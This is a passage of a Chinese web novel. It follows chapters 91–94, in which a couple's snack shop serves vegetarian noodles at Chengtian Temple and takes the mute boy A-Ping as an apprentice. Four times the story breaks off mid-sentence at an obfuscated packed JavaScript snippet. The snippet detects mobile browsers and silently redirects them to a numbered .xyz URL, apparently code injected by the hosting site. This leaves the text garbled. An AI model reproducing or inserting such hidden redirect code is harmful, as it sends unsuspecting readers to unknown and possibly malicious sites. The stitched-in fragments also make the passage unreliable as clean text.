杖刑乃是用特制的木杖以一定的力道击打案犯的臀部或者背部，在此过程中，案犯会被要求脱去部分衣物，露出受刑部位。 苏月娘倒挺想瞧瞧这家子趴着受刑的，但无奈她并没有留下围观的资格，落下决断之后，她便被迫离开了公堂。 走出了衙门，苏月娘还能够依稀听见李金花的哭喊声，她原是心里畅快的，但看见走路一瘸一拐的阿平时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646213|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她心里的幸灾乐祸又被心疼取代。 她快步走上前去，帮着搀扶阿平上了驴车，等阿平坐稳之后，苏月娘掏出一个荷包，塞到阿平的手里。 “这是你这段时日的工钱，还有……这回的事情是因我们而起的，我们理应负责你的药钱和补品钱……这笔钱我一并放在里头了！” 手里的钱袋子沉甸甸的，可阿平却一点都不想收，他忙将荷包推向苏月娘，脑袋摇得如拨浪鼓一般。 “收着吧，不然我们心里不会好过的。”许东山将荷包塞在了阿平的衣兜里头，“好好养伤！过几日我们再去看你。” 刘昌同夫妻二人说了一声后，便让人使唤驴儿往前跑了。 看着逐渐远去的两人，苏月娘瘪着嘴，靠在许东山的胳膊上念叨道：“阿平这孩子虽然不会说话，但勤快能干还听话……他这一走……我上哪去寻这么好的小伙计……” 许东山同样遗憾，毕竟他都做好要将手艺慢慢教给阿平的打算了，怎知道被许东石那个混蛋一掺和，这事儿就这样落空了。 …… 傍晚，月娘小吃铺六人做了一大锅斋面当做晚饭，既为解解大鱼大肉吃多了的腻味，也为明日去承天寺施斋面做准备。 隔壁那一家子得判杖刑，大家心里都高兴，如此清淡的素面竟然每人都吃了两三碗。 吃完斋面后，红姑打算带着阿生回去。 怎知道大门一打开，祖孙两人便瞧见了被驴车慢慢拉进了巷子里的一家三口，场面太过血腥可怖，红姑赶忙捂住阿生的眼睛。 正擦着桌子的苏月娘和许春喜看祖孙俩站在门边不动，忙上前去探头。 只见驴车后板趴着下半身一片血红的许东石，而伤得不算太重的许二福和李金花只能半跪趴在两侧。 许是觉得丢人，夫妻俩将脸埋进衣领里头。 没多久，林大松和许东山也出来看了。 看着许二福和李金花艰难地下了地，合手搬动不能动弹的许东石下车。 骑驴的驴车夫冷眼看着，不曾施以援手，看这一家三口进了门，他还跟了上去，“赶紧把二十文钱给了！” 李金花虚弱道：“不是十文钱吗！你怎么往上加了！” 驴车夫，“载你们如此晦气的一家子我可不得多收一点！况且，你儿子的血都沾到我车上了！我就多收十文，已经是可怜你们了！” 李金花气得哆嗦，“你想都别想！” 驴车夫，“那咱们去对簿公堂！” 李金花去了衙门一遭，还被打得屁股开花，她已经彻底怕了那个地方，可不想再沾上官司了。 她不情不愿地给了钱，并重重地关上了家门。 等驴车离开巷子，苏月娘才幽幽开口，“这许东石以后还能下地吗？” 许东山脑海里闪过许东石一身血的画面，淡淡道：“他得罪了刘叔，刘叔能让他活着回来已经是格外仁慈了。” 林大松激动地拍了下大腿，“意思是说这小子大概半身不遂了！” “差不多吧……”作为许东石的堂兄，许东山半点不可怜才二十一岁的许东石，只觉得他落得如此下场是咎由自取。 92. 承天寺：施斋面 既去承天寺施斋面，月娘小吃铺便暂时歇业一日。 卯时三刻，穿着光鲜的苏月娘将写着告示的红纸张贴在门扇中央后用力拍了拍，确认告示不会被风吹走了才牵上许东山的手去巷口与大家汇合。 吴头家知道苏月娘要去施斋面，大大方方地帮她从吴家借了两头腿脚健硕的好驴，好让这一大家子在路上可以省些气力。 许东山和林大松各骑一头驴，苏月娘带着菜和面坐在许东山身后，而许春喜和红姑祖孙坐在林大松身后。 “坐好了吗？坐好咱们就出发吧！”许东山频频向后张望。 苏月娘捏着平整的裙摆按照褶皱折叠了一番，才安坐下来，“我坐好了！走吧走吧！” 正当许东山与林大松要出发的时候，后头忽然传来一道急促的呼唤声： “许师傅！月娘头家！稍等一下！” 苏月娘忙转过头去，只见刘昌的儿子背着阿平，气喘吁吁地跑了过来，才刚坐好的苏月娘又起了身，双手撑在驴车后板的木杆上，伸长脖子看着两人。 “怎么把阿平背过来了？怎么不让他待在家里好好养伤！” 刘昌的儿子将阿平背到驴车那儿后，便将阿平往车后板上一放，“我弟弟他昨晚上就闹着要过来！我阿公爹娘都不愿意，我也是看他太可怜了，就偷摸背着他过来了！” 阿平目光灼灼地盯着苏月娘，生怕苏月娘将自己赶下车。 “阿平，你还是回去吧！你的伤还没好全，要是再出去磕了碰了，我可怎么和你阿舅阿妗交代？” 刘昌的儿子弯下腰，将阿平往里头塞了塞，“别看我们阿平瘦小，其实他没那么脆弱！你们就放心带他去，有什么事情，我担着！” 许东山也回头看阿平，见阿平面露哀求的神色，他到底是心软了。 “行吧，你帮着把阿平、香菇还有白菜弄去另一车上。”而后，许东山抬头看向许春喜，“春喜你过来陪月娘。” 毕竟阿平也十三岁了，一个半大的小子和苏月娘坐在一起并不合适，于是许东山便做主叫他与许春喜换了位置。 刘昌的儿子见许东山松口了，连忙动手搬动香菇和白菜，再背着阿平去到另一辆驴车上。 大家都坐好之后，许东山和林大松也就驾着驴子出发了。 …… 难得一起出来一趟，所有人都兴奋不已。 年纪最小的阿生和阿平满脸新鲜地四面八方地张望着，就连呼呼寒风灌进了他们的衣领里，也没能让他们的热情消退。 “阿平哥哥，你开心吗？” 阿平不会说话，却用力地点了点头。 两辆驴车一前一后地朝前奔跑，在后方的苏月娘与许春喜望着前面两个孩子的热闹，跟着笑了起来。 “小孩子就是容易开心，要是没有阿生整天在家里跑来跑去，咱们家里指定不会那么热闹！” 许春喜认同这一点，她看向苏月娘的肚子，“阿生马上就要去学堂念书了，你就没打算生个孩子补上这份热闹？” 苏月娘一囧，“急什么？我和你哥还没成亲两个月呢！” “不能够啊……”许春喜压低声音，“你们两个好得如胶似漆，没事就恨不得凑在一块儿，几乎每天……” 许春喜自认为已经说得够小声了，但架不住她哥耳朵特别好，还没等她剩下的话脱口而出，许东山便用力地清了清嗓子。 “咳咳咳……许东山皱眉，“许春喜你再胡说八道我就把你丢下去！” 许春喜瘪了瘪嘴。 —— 说说笑笑之间，一行人到达了承天寺。 今天承天寺的香火尤为旺盛，苏月娘以为自己来得够早了，没曾想还有来得更早的百姓。 这个时辰承天寺的和尚们刚刚用完早膳，正在分配洒扫的事情，住持听闻月娘小吃铺施斋面的过来了，忙喊上两个还算稳重可靠的小和尚帮忙去带路卸货。 驴车从偏门入了大场，在小和尚的安排下，暂时停放在角落里。 “几位施主一路辛劳，先过去同老衲喝杯热茶吧！”穿着棕色古朴海青的住持朝着一行人行礼。 苏月娘也双手合十，朝着住持鞠躬，“多谢师父了！” 几人从侧门进入，途径一置放百姓牌位的小殿后，另入一拱门，便可见挂着“闽南甲刹”的主殿与一苏月娘未曾去仔细瞧过的小殿，此处绿树掩映，香烟袅袅，宁静自在，叫人心生惬意。 承天寺秉承着闽南寺院的特色，赤瓦高柱，方坛尖炉，青龙彩雕相绕，也能够在“厝顶看好戏”。 穿过主殿人流，上了对岸的台阶，随着住持往内里走，又是一番开阔的天地，放眼望去，后方竟又藏着殿亭十来座，巷道上零星百姓行走，似乎想要挨个拜过去。 苏月娘等人跟着住持去了专门用来待客的禅房里喝热茶，小小的禅房挤不下太多人，以至于门都关不上了。 住持给众人倒了茶水之后，顺手往门外一指，“那就是我们寺里的厨房了，一会儿施主们只管过去，我已经寻了几个会干活的小徒弟在旁协助你们。” 苏月娘早已做好了要自家人自己忙活的准备了，没曾想这住持竟然还肯在如此忙碌的日子里抽出人手帮她，“师父您太客气了……” 当然了，寺里还是忙碌的，住持还没和苏月娘说上几句话便被小和尚喊走了。 大家喝过热茶后，便立即动身去厨房干活，顺带将用过的茶杯茶壶带去一块儿清理了。 住持抽出了两个看起来就机灵的小和尚留在厨房帮忙，八个人忙活做斋面、施斋面，倒也够数了。 许东山作为宴席班子里出来的厨子，对安排这样任务重的事情自是最得心应手的。 大师傅往狭窄的厨房中间一站，大家就都下意识抬头看着他，等待他发号施令。 “咱们人手充足，将带来的东西都做完不是问题，大家先一起将这些菜给洗了，林大松、阿平还有伯母在厨房里将洗好的菜切了，我和两个师父一起去挑水，月娘和春喜将库房里的锅勺拉出来洗了。” 阿生等了半天，没等到自己的活，他忙高高地举起手，“我呢我呢！” 许东山垂眸看着这个积极的小孩，大手摁在他的头顶搓了搓，“你就负责泡香菇木耳、撕生面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650446|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧！这点小事可以做好吗？” 阿生连连点头，“我一定可以的！” 每个人都领到了自己的任务，待许东山一声令下，大家一起涌到外头去将菜给洗了。 …… 承天寺的香客没有开元寺那样多，苏月娘事先算了一番，知供应这一整日的斋面费不了几个钱，所以她今日除了备斋面基本会有的红菜、白菜、香菇、木耳外，还特意添了豆腐若干种、冬笋、豆芽等素菜。 寺庙里僧侣群居，此处必不会缺少大件水盆。 四个大水盆一字排开，摆上八张小板凳，盆里倒入菜和清水后，八个人坐下手脚麻利地清洗着这些刚从土里挖出尚不满一天的菜。 有个小和尚还感慨，“前头来施斋面的施主鲜少有能拿出这么好的菜的……” 苏月娘卖力地搓着红菜外皮上还没干透的你把，笑道：“虽然是施斋面，但也要用好菜，不然叫人吃了闹肚子可怎么办！” 她这回出来的初衷虽是为了给自家的小店传点好名声，但归根结底还是真心实意地想做点好事给自己和家人积点德。 若是在这样的事情上胡乱糊弄，且不说是不是真的有佛祖观音等着惩罚她，她自己就过不去自己心里的那一关。 八个人花了一刻多钟，便将所有的菜都搓洗得一干二净，接下来，大家便按照许东山先前的安排按部就班地干起了活。 阿平的腿脚不便，红姑和林大松特意关照他，叫他坐在小板凳上将所有的红菜给削了。 虽说阿平还惦记着要多练一练刀工的事情，但他看着自己还不太能够久站的双腿，还是认命地搬着小板凳坐在灶台边上动作迅速地削着红菜。 厨房里传出叮叮当当咚咚的剁菜声，苏月娘也同许春喜一人端着一口大锅从库房走来，两人正好碰上了挑着水回来的许东山与两个小和尚。 统共两个大木桶，两个小和尚行进艰难地一起挑一个，而身强体壮的许东山自己一人提着一个过来了。 等三个人走到跟前，两个小和尚的水已经洒得只剩下七成，许东山手里的那桶却还有九成。 “阿山辛苦了！”苏月娘看着自家胳膊壮如大腿的厨子的眼神充满了爱慕，她还凑上去低声道：“你真厉害，一个人提一个大桶呢！” 许东山放下了水桶，眼神朝着身边的苏月娘飘去，他看她的眼神那叫一个黏糊荡漾。 许春喜无意中瞥了一眼，觉得有些恶寒。 “不辛苦！”某个有力气的人嘴上说着不辛苦，实际上气息不平，还娇气地弯下腰叫苏月娘给他擦一擦额头上薄薄的、风一吹就能干的汗。 苏月娘用自己第一回用的粉色小手巾认真地帮许东山擦了汗，便捏着四角将手巾对折两次，叠成了小块，而后拉开许东山的衣兜快速塞了进去。 许春喜见了偷笑。 这是明晃晃的嫌弃啊。 “既然你不辛苦，那麻烦你帮我把水倒到盆里，这样我和春喜好刷锅。” 正春心荡漾着的许东山也不顾自己的气息还紊乱着，便立即听话地继续提起沉重的大木水桶，将里头的水倒到刷锅盆里。 93. 承天寺：放生池 斋面巳时四刻开始供应。 巳时，许东山抽了个空，再次给大家分配了任务。 他与林大松两个人力气大，留在厨房里做斋面，两个小师父等着将做好的斋面提到放生池那儿，苏月娘、许春喜、红姑负责在放生池边给香客们分发斋面，当然了，还有阿生和阿平，两个人也干不了太多事情，就暂时待在厨房里装料。 巳时一刻，第一锅斋面下锅。 两人环抱才能抱圆的大锅里水已烧滚，正急促地往外翻涌着空心大泡。 许东山脱了苏月娘哄他穿上的新衣，留一件较旧耐脏的春衣在外，撸起两边袖子，搬起生面用力晃动几下，将淡黄色的生面倒进了滚水里。 闽南生面入水烹煮易出羹（1），也比其他面种更易变坨。 许东山顺手将装生面的盆丢向身后的阿平，接着抄起大勺开始搅拌生面。 阿平见盆朝自己飞过来，忙趔趄一下，将盆接到怀里。 怕生面还没提到放生池边就坨了，许东山特意往锅里下足了水，先将斋面煮成汤面的模样。 煮了半刻钟，生面微微出羹，汤水泛黄，略微浓稠。 “把菜端过来！” 话音刚落，等待已久的阿平和阿生各端一盆早已混着堆放在一块儿的菜递上来。 许东山和林大松分别端一盆菜快速往锅里倾倒，菜一入锅，锅里一下子便有了黄的、红的、白的、绿的颜色，生面汤再也没有瞧着那般单调。 阿生和阿平再次端着菜盆去后方的长桌上装菜。 刚刚只吃了一碗没滋没味菜粥做午饭的阿生小心翼翼地捧着切好的豆腐片往盆里放，白嫩嫩的豆腐实在叫他嘴馋，于是，他快速捏起一片豆腐往嘴里头塞。 镇上新开的那家豆腐作坊做的豆腐豆香味足，口感滑嫩，吃上一块倒是叫阿生暂时解了馋。 阿生抬起头，对上了阿平弯着的眼。 “嘘！”偷吃这样的事情实在是丢人，阿生可不愿意让阿平往外说。 虽然，阿平也确实不会往外说。 阿平连连点头。 “你们两个小孩干什么呢！”林大松分了个神去瞄阿生和阿平，“阿平过来帮忙添点柴火！” 有了秘密的阿平和阿生相视一笑。 …… 后来倒入的菜煮熟了，撒上一大把葱段，加上盐巴、红葱头油之类的调味后，这锅斋面也算做好了。 小桌架高了四个装面的桶，许东山和林大松赶紧赶慢地将斋面往大桶里头舀。 两个人舀得着急，晃出勺子外的汤汁溅脏了一小片。 方才那两个一起提一桶水都费劲的小和尚还喊来了两个师兄弟一起帮忙提面桶。 四个脑袋光溜溜的小师父盯着那一桶用料丰富的斋面咽了咽口水。 他们在这儿当了这么多年和尚，可没见过几回这样好料的斋面。 许东山看着他们咽口水，有些担心他们会将口水掉进桶里。 “给你们四个留一碗，你们送完面赶紧回来吃。” 许东山留了六大勺的量在锅中。 四个和尚道谢后，赶忙每人提起一个沉重的面桶，一颠一颠地往外走。 四个人提着面桶，穿过四处香香（2）飘烟的后园，去到了主殿对面的放生池。 掐着点排队的香客门已经绕了场地两圈了，四个人不想让人久等，也不想让厨房里的斋面坨了，便加快脚步，将面桶放在了负责分发斋面的三个人面前。 斋面一到，面香便盖过了后方小殿香炉里飘来的浓郁燃香味，直入鼻腔。 苏月娘分明才和寺里的师父们一起吃了一碗菜稀饭，可见了这斋面，却又觉得腹中空虚。 百姓们立即拿着碗冲上去，四个小师父就这么被挤了出去。 “大家别挤！今天斋面管够！”苏月娘一边对着热情的香客们大喊，一边接过第一人的碗盛面。 许东山和林大松将斋面搅拌得很是充分，扯短了的生面与各色素菜混合均匀，汤汁浸在间隙之间，一勺盛起，什么料都有，还不会过干或过稀。 “好料！真好料啊！”头一个盛到了那位香客一瞧这斋面的样子，眼睛都亮了。 排在他后面的几个人连忙凑上来看。 那人当着大家的面夹了一筷子，用力吸溜了一口，“这斋面不仅好料，味道也好！不似从前的斋面，淡得跟白开水一样！” 苏月娘忙着给其他人盛斋面，便没来得及回应那人的话。 随着四只面桶慢慢清空，盛过斋面的香客们也将四周的长廊坐了个半满。 但还捧着空碗排队的香客并不见减少。 许东山和林大松那儿的速度挺快，放生池这边的面桶一清空，四个小师父又吭哧吭哧地送来了第二锅面。 趁着小师父们更换面桶，马不停蹄地盛了两刻多钟斋面的三个人趁机放下盛面大勺，松了松酸软的胳膊。 …… 才煮了两锅，就到了正饭点，已经有些劳累的的许东山和林大松在后堂师父的劝说下暂时歇息一会儿。 待四个小师父送斋面回来，将大锅提去洗干净了，两个人才又继续将第三锅斋面煮上。 这中间耽搁了一会儿，第二锅斋面分完，放生池边分斋面的三人迟迟不见第三锅斋面过来，索性坐在放生池边和香客们话仙了起来。 聊着聊着，这些香客们问起了她们几人的来历。 苏月娘正好趁着这个机会，将自己的身份和自家小店告知于他们。 “今天这斋面是我家出的，我家在凤池镇，我在那儿开了一家店，叫‘月娘小吃铺’，我家的面线糊、姜母鸭、咸水鸭可是一绝！你们要是有机会去凤池镇，可以去我们店里尝一尝！” 凑在一块儿听的香客可不少，这些人记下了月娘小吃铺的名号之后又到处去与别人闲聊，第三锅斋面上来之后，便有不少人知道了凤池镇有一家面线糊、姜母鸭、咸水鸭味道一绝的小吃铺。 苏月娘时刻偷听着大家伙的话仙，不时有“月娘小吃铺”、“面线糊”之类的字眼钻入耳朵里。 她今日的目的达成了。 —— 今天来吃斋面的香客比起平日里翻了一番。 一直到午后申时，七大锅的斋面都被分发干净了，连轴转了许久的几人得以在喝茶的禅房碰头。 “施主们辛苦了！今天的香客们觉得这斋面味道好，不仅自己吃，还回去喊了家里人和厝边过来……这才让你们辛苦到这个时候！” 今天来寺里吃斋面的人多，住持也跟着忙碌了一天，也就是这时候人少了，他才找见机会过看一看这几位大好人。 “应该的，应该的……”苏月娘与人闲聊得口干舌燥的，茶一烧好，她便一口气喝了两杯。 “平日里大家都闷在转不开身的小店里做事，难得出来一趟，虽然忙，却没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656894|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想象中那样劳累！”许春喜提着茶壶给红姑倒茶。 红姑附和道：“而且这里风景不错，看得我心情都好了！” 煮斋面煮得两条胳膊乱哆嗦的林大松，“……” 她们负责打面，闲的时候还能和香客们闲聊，她们当然不累！ 许东山见林大松一副苦瓜相，觉得这般很是不礼貌，便一个冷眼扫了过去。 林大松轻声冷哼，不情不愿得扭过头，藏起了他的苦瓜脸。 待大家喝了茶，缓解了疲惫后，便结伴去烧香拜拜了。 这会儿大殿里也就零散几个香客，只要长点心眼就不会有香灰乱砸的情况，许东山又重新穿上了他的新衣裳。 七个人站了两排，手中的紫红色香支飘冒着又细又柔的飘渺紫白烟。 七个人轮流跪在厚实的方跪殿上，虔诚地与巍峨的镀金大佛祈愿。 平安顺遂、身体健康、丰衣足食、家财万贯…… 这样的祈愿在泉州城里每日都有，能立即实现的却寥寥无几。 可泉州人还是一面每月几次地祈愿，一面踏实努力地为美好生活奋斗奔忙。 老天或许会保佑，但路还是得自己走才踏实。 …… 烧完香后，大家去到殿外折金纸。 阿生拉着阿平，两人一起趴在石头砌成的栏杆上从上往下瞧。 冬日寒冷，水中的游鱼乌龟都不怎么爱动弹，若非风吹过，不然那片绿水会一直平静无波。 “别撑在上面，小心从栏杆上翻下去了！”苏月娘没那个耐心折金纸，折了一半给折散了，便一气儿地丢给许东山去忙活了。 阿生指了指水中金红色的小锦鲤，问道：“干娘，我们可以捞一只带回家吗？它们长得太好看了！” 苏月娘瞥了一眼刻在第一条粗石杆上的“放生池”三个红色大字，便忍不住笑出了声。 “你知道这池子叫什么吗？” 阿生，“我知道，这是放生池。” “既然它们都被放生了，又何必再将他们抓回去？” 阿生瘪嘴，有些遗憾不能将这些漂亮的小东西带回家去。 苏月娘与阿生说完话后，便看向了一直在偷瞄她的阿平。 “你有话对我说？” 阿平搓着手，轻轻点了点头。 苏月娘笑了笑，往栏杆上一靠，“那你比划我看看！” 阿平知道苏月娘还是看不太懂他的比划，便只能选择最简单的炒菜的动作做给苏月娘看。 这动作简洁明了，苏月娘一下子看懂了。 “你是想回店里干活？” 阿平紧张地点头。 “可是你阿舅好像不太乐意……” 阿平连忙拍了拍自己的胸脯，表示自己要去说服刘昌。 那边，大家三下两下折好了金纸，一并带到附近的烧金塔里烧。 许东山不想新衣被飘出的金灰烫坏，将折好的金纸送到塔边，便去寻苏月娘了。 “怎么了？” “阿平说他想回来做事……可我担心刘叔……” 许东山捏了捏阿平瘦弱的肩膀，虽然这孩子没颠大锅的力气，但胜在聪明勤快。 他很喜欢阿平，若是阿平真能留在月娘小吃铺里做工，他求之不得。 “回去之后我亲自去和你阿舅说！” 得了许东山都应允，阿平的小眼睛顿时亮了起来。 94. 收了个徒弟 住持挽留七个人吃了晚饭再走，但苏月娘怕太过叨扰住持，便婉拒了住持的邀请，并与他说好了二月份再来施斋面。 在一排和尚的相送下，两辆驴车逐渐走远了。 傍晚之前，一行人回到了凤池镇，正好入镇子数十米便是吴家，大家便先将驴车还上。 等目送红姑带着阿生离开，两对夫妻再陪着腿脚不便的阿平一起回到同一条街上的刘家。 让这么多人陪着一起回家，阿平还怪不好意思的。 …… 刘昌才刚到家不久，得知自家儿子禁不住阿平的恳求，偷偷将阿平背了出去，刘昌便将儿子骂得狗血淋头。 五个人走到刘家外，隐隐听见刘昌的声音，不免有些过意不去。 但该见面还是得去见一面的，在许东山的带领下，一家子浩浩荡荡地走入了刘家的大门。 刘昌瞥见一群人进来，面上露出了些尴尬。 “你们别多想……我只是担心阿平这浑身是伤地出去会不舒服……不是不想让他跟你们接触！”刘昌为人敞亮，赶紧将话说清楚了，省得与苏月娘和许东山生了隔阂。 许东山微微点头，毕竟出事之后，虽说刘昌是有些许怨他们的，但他的气来得快也走得快，对他们夫妇俩还是和以前一般亲切温和。 “阿平今日很好，没有再受伤，您放心！”许东山抓着阿平的肩膀，将阿平拉到了刘昌跟前。 刘昌上下打量着外甥，见外甥还冲自己傻笑，他无奈极了，“你给月娘头家他们添了不少麻烦吧！” “今天他可给我们帮了不少忙！我们阿山都一直夸他能干还机灵！”苏月娘悄悄用手指捅了捅许东山的后背。 许东山紧接着道：“这孩子很好，要不是他今天我们几个可能都忙不过来！” 两口子你一言我一语地轮流夸赞阿平，阿平听得不好意思，刘昌听得若有所思。 刘昌打断了两口子，“得了！你们两个不过就是想要喊阿平回去做事！别跟我这么拐弯抹角的！都是自家人，有话直说！” 苏月娘不好意思地笑了笑，她往前走了一步，和许东山并肩站在一块儿，郑重地对刘昌道：“还是刘叔懂我们！我和阿山都很喜欢阿平，阿平今天也和我们提过要在店里继续做事的想法，所以，您就……” 刘昌捋了捋胡须，看着阿平可怜兮兮地看着自己，他笑了声，“不若叫阿山收阿平当徒弟好了！这孩子不会说话，也不好找事情做，若是他能有一门吃饭的手艺，往后就算不在你们那儿干了，也有别的出路……” 这话一出，阿平还有两口子都愣了一下，但苏月娘反应过来后，忙拍了拍许东山的胳膊，“你快答应呀！以后就又多一个人喊我娘了！” 虽然她和阿平就差了七岁，但师娘也是娘！ 没差！ 许东山听苏月娘的话，和刘昌点头应下了这件事情。 “刘叔就放心把阿平交给我吧，我一定会好好向他传授手艺的！” 阿平激动得转过身，朝着许东山和苏月娘不停地鞠躬。 刘昌瞅瞅外头的天色，天已经半黑了，“拜师学艺这样的大事马虎不得，等明儿阿平去干活了，你们师徒俩自己去补办拜师礼，现在时候不早了！你们就留在家里一起吃饭吧！” 就这样蹭饭，苏月娘也不好意思，但在她推脱之前，刘昌的妻子便抢先道：“刚刚你们进来的时候，我就往锅里多倒了米，你们可别拒绝啊！” 既然如此，那大家伙便恭敬不如从命了。 —— 许东山活了二十六年，头一回收徒弟，心里难免紧张激动。 枕边人时不时翻身，害得苏月娘跟着没能睡好。 但她理解许东山的心情，便朝他摸了过去，往他身上一贴，“都收徒弟的人了，稳重点！你早点睡！” 对着体贴的妻子，许东山将心里话都说出来，“唉……收徒弟可是大事，更何况这是第一个徒弟……这和成亲一样……” 苏月娘睁开眼睛，瞪了许东山一眼，“成亲？收徒弟虽然重要，但能有成亲重要吗！徒弟千千万，可我只有一个！” 许东山听着苏月娘赌气的话语，失笑，“对，你最重要……这辈子都不会再碰到第二个你了……” 听到了情话，苏月娘这才满意地重新闭上眼睛，“好了，你睡吧，明天一早你还要喝你心爱的大徒弟的敬茶呢！” 天气太冷了，苏月娘搂着火炉似的许东山，一个劲儿地往他的怀里缩，许东山被八爪鱼似的苏月娘抱得浑身发热。 反正她醒都醒了，也不差再多醒一会儿了。 刚要进入梦乡的苏月娘忽然察觉一只手不断往自己小衣里头探，她皱着脸，隔着衣料去捉许东山的手，怎知道这人已然吃她豆腐吃熟练了，那手灵活得跟鱼一般，让苏月娘抓不到半点。 “你到底睡不睡啊！” 许东山一条腿将她压住了，叫她变成案板上任人宰割的鱼肉，几次几句进攻性的亲吻便让她彻底缴械投降，乖乖配合。 …… 卯时，许东山神清气爽地醒来了，他小心翼翼地将挂在他身上睡觉的苏月娘慢慢地放平到一旁。 苏月娘被他这么一搬动，迷迷糊糊醒来了，看着这张俊朗的侧脸，苏月娘嘴一瘪，从被中抽出手，往他脸上抽了一下。 “臭男人！半夜折腾个什么劲儿呢！” 许东山抓住她的手吻了吻，“你不是挺喜欢的，还要了两回……怎么现在和我算起账来了？” 成亲将近两个月，许东山已经开始时不时对着她蹦出一些让人难为情的荤话，从前稳重礼貌的许东山已经一去不复返了。 “臭男人——”羞得满脸通红的苏月娘在被窝里抬起脚，将这个满口荤话的男人踹下了床。 —— 阿平依旧来得很早，他今日自己打开了大门，早早地坐在堂屋里等他的师傅出来。 在堂屋里傻坐了将近一刻钟，满面春风的师父难得口中哼着小曲儿，大步地走到了堂屋。 阿平不会说话，却立即起身朝着许东山鞠躬。 许东山瞥了徒弟一眼，“你去厨房烧茶水，等你师娘起来了，你再给我们敬茶。” 阿平赶紧跑去厨房里准备烧水。 等天有些亮了，苏月娘才懒洋洋地从屋里出来，这时候，阿平已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662791|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将那壶开水热了三回了。 “月娘起来了，你们这拜师仪式可以开始了吧！”一向爱看热闹的林大松赶忙撮合两方敬茶，省得一会儿客人上门了，前面没人看着。 阿平有些不好意思地看着许东山和苏月娘，眼睛里的期待都快溢出来了。 “前面太暗了，我们去后堂屋吧！”苏月娘一手拉许东山，一手拉阿平，大步地走出了厨房，往后堂屋走。 林大松和许春喜赶忙放下手里的事情，一个提开水，一个拿杯子与茶叶，跟在三个人的身后一起去了后堂屋。 天色蒙蒙亮的，许东山和苏月娘一起将后堂屋里许久没用过的桌椅仔细摆好，再简单扯了一块抹布擦擦灰，便坐下了。 “来来来！你小子快给你师父师娘跪下！”林大松已经泡好了茶，摆在托盘上等着递给阿平了！ 许春喜扶了阿平一把，帮着他在中间跪下了，一直躲在门缝后面偷看的哦屁看阿平跪下了，赶紧摇着尾巴出来蹲在阿平身边看看热闹。 “我们哦屁也来凑热闹了！”林大松将托盘递给了阿平，顺便揉了揉哦屁的狗头。 哦屁吐着舌头，中气十足地朝着林大松吠了一声，“汪！” “阿平给你师父师娘敬茶吧！” 阿平不会说话，却高举双手，双目虔诚地盯着许东山和苏月娘。 许东山清了清嗓子，先将丑话说在前头，“如果你拜我为师，那我自然不可能像从前一样还这么客气地对你，你要是犯错，我不仅会骂你，还会跟你动手！你要能接受，我就喝了你的茶，你要不能接受，你就把手缩回去。” 阿平将背挺得更直了，他坚定地看着许东山，用眼神告诉许东山自己不会有半点退缩。 许东山看了他好一会儿，才倾身端起了两盏茶，一盏递给苏月娘。 许东山很是讲究地用盖子抹了抹茶面，而后低头喝了一口，滚烫的茶水烫得他眉头紧皱，“你慢点喝，这茶很烫。” 苏月娘得了许东山的提醒，便只是象征性地抿了一口茶。 在林大松的提醒下，阿平认认真真地给师父师娘磕了三个响头，许东山放了滚烫的茶盏后，伸手扶了阿平一把。 在师父师娘慈爱地看着自家大弟子的时候，林大松这个爱突发奇想的不知道那儿摸出一串鞭炮，点了引线之后便丢到了天井去。 鞭炮立即噼里啪啦地炸了起来，将灰蒙蒙的天照亮了。 胆小的哦屁吓得一个箭步跳上了许东山的膝盖，小狗头直往许东山的怀里钻，许东山自己也被吓了一跳，但反应过来后，便一手捂着哦屁的小狗头，另一手护着苏月娘的耳朵。 好在闽南之地时常因为各种喜事不分时辰地放鞭炮，这鞭炮声虽吵醒了还在梦乡中的厝边，但大家知道是有喜事发生了，骂骂咧咧两句后倒也没有出来特意苛责什么。 “你吓死我了！还好外头没晒衣裳！”许春喜虽然吓了一跳，但也没太过责怪林大松的突发奇想。 林大松咧着嘴笑，“我也就是没晒衣裳才敢放！不然得被你和月娘追着打！” 